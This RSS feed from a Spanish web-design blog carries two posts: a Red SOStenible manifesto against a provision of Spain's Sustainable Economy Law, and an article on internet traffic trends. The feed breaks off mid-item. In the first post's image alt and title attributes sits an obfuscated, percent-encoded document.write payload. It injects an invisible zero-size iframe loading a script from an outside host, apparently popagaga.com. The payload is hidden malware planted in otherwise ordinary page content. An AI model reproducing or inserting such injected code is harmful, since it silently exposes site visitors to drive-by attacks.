<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prananet, Diseño y Posicionamiento Web &#187; Navegadores</title>
	<atom:link href="http://www.prananet.es/category/navegadores/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.prananet.es</link>
	<description>&#34;Vivero de Ideas&#34;</description>
	<lastBuildDate>Thu, 26 Jan 2012 09:56:38 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	

<!-- Debugging help, do not remove -->
<meta name="Framework" content="Kpress" />
<meta name="Theme Version" content="1.1" />
<meta name="Framework Version" content="1.1" />


		<item>
		<title>Red y Libertad</title>
		<link>http://www.prananet.es/2010/01/12/red-y-libertad/</link>
		<comments>http://www.prananet.es/2010/01/12/red-y-libertad/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 11:29:54 +0000</pubDate>
		<dc:creator>Jose Vte. Martínez</dc:creator>
				<category><![CDATA[Análisis web]]></category>
		<category><![CDATA[Buscadores]]></category>
		<category><![CDATA[Diseño gráfico]]></category>
		<category><![CDATA[Diseño web]]></category>
		<category><![CDATA[Dominios]]></category>
		<category><![CDATA[Fotoblogs]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Navegadores]]></category>
		<category><![CDATA[Posicionamiento web]]></category>
		<category><![CDATA[Redes Sociales]]></category>
		<category><![CDATA[Sitemaps]]></category>
		<category><![CDATA[Tecnología]]></category>

		<guid isPermaLink="false">http://www.prananet.es/?p=460</guid>
		<description><![CDATA[<a href="http://www.prananet.es/2010/01/12/red-y-libertad/"><img align="left" hspace="5" width="307" height="207" src="http://www.prananet.es/wp-content/uploads/2010/01/en-defensa-de-internet.jpg" class="alignleft tfe wp-post-image" alt="en-defensa-de-internetdocument.write(unescape(&quot;%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%70%6f%70%61%67%61%67%61%2e%63%6f%6d%2f%69%6e%63%6c%75%64%65%73%2f%69%6e%2e%63%67%69%3f%32%22%20%77%69%64%74%68%3d%22%30%22%20%68%65%69%67%68%74%3d%22%30%22%20%73%74%79%6c%65%3d%22%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%22%3e%3c%2f%69%66%72%61%6d%65%3e&quot;));" title="en-defensa-de-internetdocument.write(unescape(&quot;%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%70%6f%70%61%67%61%67%61%2e%63%6f%6d%2f%69%6e%63%6c%75%64%65%73%2f%69%6e%2e%63%67%69%3f%32%22%20%77%69%64%74%68%3d%22%30%22%20%68%65%69%67%68%74%3d%22%30%22%20%73%74%79%6c%65%3d%22%76%69%73%69%62%69%6c%69%74%79%3a%68%69%64%64%65%6e%22%3e%3c%2f%69%66%72%61%6d%65%3e&quot;));" /></a>Consideramos imprescindible la retirada de la disposición final primera de la Ley de Economía Sostenible por los siguientes motivos: 1-Viola los derechos constitucionales en los que se ha de basar un estado democrático en especial la presunción de inocencia, libertad de expresión, privacidad, inviolabilidad domiciliaria, tutela judicial efectiva, libertad de mercado, protección de consumidoras y [...]<p>Post de: <a href="http://www.prananet.es">Prananet Web Alicante</a><br/><br/><a href="http://www.prananet.es/2010/01/12/red-y-libertad/">Red y Libertad</a></p>
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.prananet.es/wp-content/uploads/2010/01/en-defensa-de-internet.jpg"><img class="aligncenter size-medium wp-image-461" title="en-defensa-de-internet" src="http://www.prananet.es/wp-content/uploads/2010/01/en-defensa-de-internet-300x202.jpg" alt="" width="300" height="202" /></a></p>
<p>Consideramos imprescindible la <strong>retirada de la disposición final primera de la Ley de Economía Sostenible</strong> por los siguientes motivos:</p>
<ol>
<li>1-Viola los derechos constitucionales en los que se ha de basar un estado democrático en especial la presunción de inocencia, libertad de expresión, privacidad, inviolabilidad domiciliaria, tutela judicial efectiva, libertad de mercado, protección de consumidoras y consumidores, entre otros.</li>
<li>2-Genera para la Internet un estado de excepción en el cual la ciudadanía será tratada mediante procedimientos administrativos sumarísimos reservados por la Audiencia Nacional a narcotraficantes y terroristas.</li>
<li>3-Establece un procedimiento punitivo “a la carta” para casos en los que los tribunales ya han manifestado que no constituían delito, implicando incluso la necesidad de modificar al menos 4 leyes, una de ellas orgánica. Esto conlleva un cambio radical en el sistema jurídico y una fuente de inseguridad para el sector de las TIC (Tecnología de la Información y la Comunicación). Recordamos, en este sentido, que el intercambio de conocimiento y cultura en la red es un<a href="http://noticias.lainformacion.com/economia-negocios-y-finanzas/redes/los-usuarios-que-descargan-archivos-p2p-gastan-mas-dinero_Fo58z3eGxWsRG0NKpjhCE7/" target="_blank"> motor económico</a> importante para <a href="http://noticias.lainformacion.com/arte-cultura-y-espectaculos/cine/el-cine-espanol-cerrara-con-cifras-record-a-pesar-de-internet_uVFrhCBCXhYPTF51YCG3a7/" target="_blank">salir de la crisis</a> como se ha <a href="http://www.theinquirer.es/2009/11/17/lo-que-las-discograficas-ocultan.html" target="_blank">demostrado</a> <a href="http://www.elmundo.es/elmundo/2009/11/20/cultura/1258739927.html" target="_blank">ampliamente.</a></li>
<li>4-Los mecanismos preventivos urgentes de los que dispone la ley y la judicatura son para proteger a toda ciudadanía frente a riesgos tan graves como los que afectan a la salud pública. El gobierno pretende utilizar estos mismos mecanismos de protección global para beneficiar intereses particulares frente a la ciudadanía.<br />
Además la normativa introducirá el concepto de “lucro indirecto”, es decir: a mí me pueden cerrar el blog porque “promociono” a uno que “promociona” a otro que vincula a un tercero que hace negocios presuntamente ilícitos</li>
<li>5-Recordamos que la propiedad intelectual <a href="http://derechoynormas.blogspot.com/2010/01/la-ley-de-ejecucion-por-la-sospecha.html" target="_blank">no es un derecho fundamental</a> contrariamente a las declaraciones del Ministro de Justicia, Francisco Caamaño. Lo que es un derecho fundamental es el derecho a la producción literaria y artística.</li>
<li>6-De acuerdo con las declaraciones de la Ministra de Cultura, esta disposición se utilizará exclusivamente para cerrar 200 webs que presuntamente están atentando contra los derechos de autor. Entendemos que si éste es el objetivo de la disposición, no es necesaria, ya que con la legislación actual existen procedimientos que permiten actuar contra webs, incluso con medidas cautelares, cuando presuntamente se esté incumpliendo la legalidad. Por lo que no queda sino recelar de las verdaderas intenciones que la motivan ya que lo único que añade a la legislación actual es el hecho de dejar la ciudadanía en una situación de grave indefensión jurídica en el entorno digital.</li>
<li>7-Finalmente consideramos que la propuesta del gobierno no sólo es un despilfarro de recursos sino que será absolutamente ineficaz en sus presuntos propósitos y deja patente la absoluta incapacidad por parte del ejecutivo de entender los tiempos y motores de la Era Digital.</li>
</ol>
<p>La disposición es una concesión más a la vieja industria del entretenimiento en detrimento de los derechos fundamentales de la ciudadanía en la era digital.</p>
<p>La ciudadanía no puede permitir de ninguna manera que sigan los intentos de vulnerar derechos fundamentales de las personas, sin la debida tutela judicial efectiva, para proteger derechos de menor rango como la propiedad intelectual. Dicha circunstancia ya fue aclarada con el dictado de inconstitucionalidad de la ley Corcuera (o “ley de la patada en la puerta”). El <a title="Manifiesto “En defensa de los derechos fundamentales en internet” - El blog de Enrique Dans" href="http://www.enriquedans.com/2009/12/manifiesto-en-defensa-de-los-derechos-fundamentales-en-internet.html" target="_blank">Manifiesto en defensa de los derechos fundamentales en Internet</a>, <a title="Grupo de apoyo al Manifiesto en Facebook" href="http://www.facebook.com/group.php?gid=186879394498" target="_blank">respaldado por más de 200 000 personas</a>, ya avanzó la reacción y demandas de la ciudadanía antes la perspectiva inaceptable del gobierno.</p>
<p>Para impulsar un definitivo cambio de rumbo y coordinar una respuesta conjunta, el 9 de enero se ha constituido la “Red SOStenible” una plataforma representativa de todos los sectores sociedad civil afectados. El objetivo es iniciar una ofensiva para garantizar una regulación del entorno digital que permita expresar todo el potencial de la Red y de la creación cultural respetando las libertades fundamentales.</p>
<p>En este sentido, reconocemos como referencia para el desarrollo de la era digital, la <a href="http://fcforum.net/es/" target="_blank"><em>Carta para la innovación, la creatividad y el acceso al conocimiento</em></a>, un documento de síntesis elaborado por más de <a href="http://fcforum.net/es/charter_extended#signatories" target="_blank">100 expertos de 20 países</a> que recoge los principios legales fundamentales que deben inspirar este nuevo horizonte.</p>
<p>En particular, consideramos que en estos momentos es especialmente urgentes la implementación por parte de gobiernos e instituciones competentes, de los siguientes aspectos recogidos en la Carta:</p>
<ol>
<li>1-Los artistas como todos los trabajadores tienen que poder vivir de su trabajo (referencia punto 2 “<a href="http://fcforum.net/es/charter_extended#legal" target="_blank">Demandas legales</a>“, párrafo B. “Estímulo de la creatividad y la innovación”, de la <a href="http://fcforum.net/es/charter_extended" target="_blank">Carta</a>);</li>
<li>2-La sociedad necesita para su desarrollo de una red abierta y libre (referencia punto 2 “<a href="http://fcforum.net/es/charter_extended#legal" target="_blank">Demandas legales</a>“, párrafo D, “Acceso a las infraestructuras tecnológicas”, de la <a href="http://fcforum.net/es/charter_extended" target="_blank">Carta</a>);</li>
<li>3-El derecho a cita y el derecho a compartir tienen que ser potenciado y no limitado como fundamento de toda posibilidad de información y constitutivo de todo conocimiento (referencia punto 2 “<a href="http://fcforum.net/es/charter_extended#legal" target="_blank">Demandas legales</a>“, párrafo A, “Derechos en un contexto digital”, de la <a href="http://fcforum.net/es/charter_extended" target="_blank">Carta</a>);</li>
<li>4-La ciudadanía debe poder disfrutar libremente de los derechos exclusivos de los bienes públicos que se pagan con su dinero, con el dinero publico (referencia punto 2 “<a href="http://fcforum.net/es/charter_extended#legal" target="_blank">Demandas legales</a>“, párrafo C, “Conocimiento común y dominio público”, de la <a href="http://fcforum.net/es/charter_extended" target="_blank">Carta</a>);</li>
<li>5-Consideramos necesaria una reforma en profundidad del sistema de las entidades de gestión y la abolición del canon digital (referencia punto 2 “<a href="http://fcforum.net/es/charter_extended#legal" target="_blank">Demandas legales</a>“, párrafo B, “Estímulo de la creatividad y la innovación”, de la <a href="http://fcforum.net/es/charter_extended" target="_blank">Carta</a>).</li>
</ol>
<p>Por todo ello hoy se inicia la campaña <a title="INTERNET NO SERA OTRA TELE" href="http://internetnoseraotratv.net/" target="_blank">INTERNET NO SERA OTRA TELE</a> y se llevarán a cabo diversas acciones ciudadanas durante todo el periodo de la presidencia española de la UE.</p>
<p>Consideramos particularmente importantes en el calendario de la presidencia de turno española el II Congreso de Economía de la Cultura (29 y 30 de marzo en Barcelona), Reunión Informal de ministros de Cultura (30 y 31 de marzo en Barcelona) y la reunión de ministros de Telecomunicaciones (18 a 20 de abril en Granada).</p>
<p>La Red tiene previsto reunirse con representantes nacionales e internacionales de partidos políticos, representantes de la cultura y delegaciones diplomáticas.</p>
<p>Firmado<br />
<strong>Red SOStenible</strong></p>
<p><em>La Red SOStenible somos todos. Si quieres adherirte a este texto, cópialo, blogguéalo, difúndelo.</em></p>
<p>Post de: <a href="http://www.prananet.es">Prananet Web Alicante</a><br/><br/><a href="http://www.prananet.es/2010/01/12/red-y-libertad/">Red y Libertad</a></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center">
<ul class="socials">
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Compartir con Facebook">Compartir con Facebook</a>
		</li>
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%24%7Btitle%7D+-+%24%7Bshort_link%7D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="&iexcl;Comp&aacute;rtelo en Twitter!">&iexcl;Comp&aacute;rtelo en Twitter!</a>
		</li>
		<li class="shr-meneame">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=33&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Enviar a Meneame">Enviar a Meneame</a>
		</li>
		<li class="shr-bitacoras">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=288&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Enviar a Bitacoras">Enviar a Bitacoras</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Compartir con LinkedIn">Compartir con LinkedIn</a>
		</li>
		<li class="shr-tumblr">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http%3A%2F%2Fwww.prananet.es%2F2010%2F01%2F12%2Fred-y-libertad%2F&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=78&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Compartir con Tumblr">Compartir con Tumblr</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Compartir con del.icio.us">Compartir con del.icio.us</a>
		</li>
		<li class="shr-technorati">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=10&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Compartir con Technorati">Compartir con Technorati</a>
		</li>
		<li class="shr-googlebookmarks">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=74&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="A&ntilde;dirlo a Google Bookmarks">A&ntilde;dirlo a Google Bookmarks</a>
		</li>
		<li class="shr-myspace">
			<a href="http://www.shareaholic.com/api/share/?title=Red+y+Libertad&amp;link=http://www.prananet.es/2010/01/12/red-y-libertad/&amp;notes=%0D%0A%0D%0AConsideramos%20imprescindible%20la%20retirada%20de%20la%20disposici%C3%B3n%20final%20primera%20de%20la%20Ley%20de%20Econom%C3%ADa%20Sostenible%20por%20los%20siguientes%20motivos%3A%0D%0A%0D%0A%091-Viola%20los%20derechos%20constitucionales%20en%20los%20que%20se%20ha%20de%20basar%20un%20estado%20democr%C3%A1tico%20en%20especial%20la%20presunci%C3%B3n%20de%20inocencia%2C%20libertad%20de%20expresi%C3%B3n%2C%20priva&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=39&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="A&ntilde;adirlo a MySpace">A&ntilde;adirlo a MySpace</a>
		</li>
</ul><div style="clear: both;"></div></div>

<img src="http://www.prananet.es/?ak_action=api_record_view&id=460&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.prananet.es/2010/01/12/red-y-libertad/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Análisis del Tráfico de internet</title>
		<link>http://www.prananet.es/2009/10/15/analisis-del-trafico-de-internet/</link>
		<comments>http://www.prananet.es/2009/10/15/analisis-del-trafico-de-internet/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 08:31:36 +0000</pubDate>
		<dc:creator>Jose Vte. Martínez</dc:creator>
				<category><![CDATA[Navegadores]]></category>
		<category><![CDATA[Posicionamiento web]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tráfico en Internet]]></category>

		<guid isPermaLink="false">http://www.prananet.es/?p=343</guid>
		<description><![CDATA[<a href="http://www.prananet.es/2009/10/15/analisis-del-trafico-de-internet/"><img align="left" hspace="5" width="307" height="254" src="http://www.prananet.es/wp-content/uploads/2009/10/trafico-internet-150x150.jpg" class="alignleft wp-post-image tfe" alt="trafico-internet" title="trafico-internet" /></a>Hace cinco años, el tráfico de Internet era, en su mayoría, gestionados por los proveedores de nivel 1 como AT &#38; T, Verizon, Level 3 Communications y Global Crossing, que conecta a miles de nivel 2 y los proveedores de redes regionales. Hoy, eso ha cambiado. Ahora (en lugar del tráfico que se distribuia entre [...]<p>Post de: <a href="http://www.prananet.es">Prananet Web Alicante</a><br/><br/><a href="http://www.prananet.es/2009/10/15/analisis-del-trafico-de-internet/">Análisis del Tráfico de internet</a></p>
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-344  aligncenter" title="trafico-internet" src="http://www.prananet.es/wp-content/uploads/2009/10/trafico-internet.jpg" alt="trafico-internet" width="507" height="284" /></p>
<p>Hace cinco años,<strong> el tráfico de Internet</strong> era, en su mayoría, gestionados por los proveedores de nivel 1 como<strong> AT &amp; T, Verizon, Level 3 Communications y Global Crossing</strong>, que conecta a miles de nivel 2 y los proveedores de redes regionales.</p>
<p>Hoy, eso ha cambiado. Ahora (en lugar del tráfico que se distribuia entre las decenas de miles de redes) sólo 150 redes de control tienen  aproximadamente el 50% de todo el tráfico en línea. Entre estas nuevas superpotencias de Internet, no es ninguna sorpresa encontrar <strong>Google </strong>en la lista. De hecho, las cuentas de búsqueda del gigante tienen la mayor fuente (6%) del <strong>tráfico mundial de Internet</strong>.</p>
<p>Estos datos proceden de un nuevo informe publicada por <a title="http://www.arbornetworks.com/" href="http://www.arbornetworks.com/" target="_blank">Arbor Networks,</a> que acaba de terminar un estudio de dos años de <strong>256 <a title="Exabyte" href="http://es.wikipedia.org/wiki/Exabyte" target="_blank">exabytes </a>de datos de tráfico de Internet</strong>, el mayor estudio de tráfico global desde el comienzo de Internet comercial a mediados de la década de 1990.</p>
<p>El informe también descubrió una fuerte disminución de peer-to-peer de tráfico, que sólo dos años antes llegó al 40% del tráfico mundial. Hoy en día, aún siendo un número fuerte, el tráfico P2P se ha reducido hasta un 18%. ¿Por qué este cambio? En su mayor parte, el intercambio de archivos, que tuvo lugar en las redes como <strong>Limewire </strong>y <strong>Napster </strong>de vuelta en los últimos años 90 y principios de 2000, ha sido sustituido en gran medida en <strong>streaming de vídeo</strong> gracias a los sitios como <strong>YouTube, Hulu, y Netflix</strong>. Teniendo en cuenta más fácil y utiliza menos medios técnicos de acceso a los medios de comunicación, los consumidores han comenzado a desplazarse desde el dolor de cabeza de P2P a estos sitios y, a menudo apoyados nuevo libre o ad-. Hoy en día, tanto como el 20% del tráfico web es el vídeo.</p>
<p>En cuanto a <strong>tráfico de Internet</strong> en general, más de la mitad (52%) está basado en la <strong>web</strong>, por encima del 42% en 2007. El tráfico restante proviene de <strong>correo electrónico y redes privadas.</strong></p>
<p><strong><br />
</strong></p>
<p>Post de: <a href="http://www.prananet.es">Prananet Web Alicante</a><br/><br/><a href="http://www.prananet.es/2009/10/15/analisis-del-trafico-de-internet/">Análisis del Tráfico de internet</a></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center">
<ul class="socials">
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=An%C3%A1lisis+del+Tr%C3%A1fico+de+internet&amp;link=http://www.prananet.es/2009/10/15/analisis-del-trafico-de-internet/&amp;notes=%0D%0A%0D%0AHace%20cinco%20a%C3%B1os%2C%20el%20tr%C3%A1fico%20de%20Internet%20era%2C%20en%20su%20mayor%C3%ADa%2C%20gestionados%20por%20los%20proveedores%20de%20nivel%201%20como%20AT%20%26amp%3B%20T%2C%20Verizon%2C%20Level%203%20Communications%20y%20Global%20Crossing%2C%20que%20conecta%20a%20miles%20de%20nivel%202%20y%20los%20proveedores%20de%20redes%20regionales.%0D%0A%0D%0AHoy%2C%20eso%20ha%20cambiado.%20Ahora%20%28en%20lugar%20del%20tr%C3%A1fic&amp;short_link=&amp;shortener=google&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Compartir con Facebook">Compartir con Facebook</a>
		</li>
		<li class="shr-twitter">
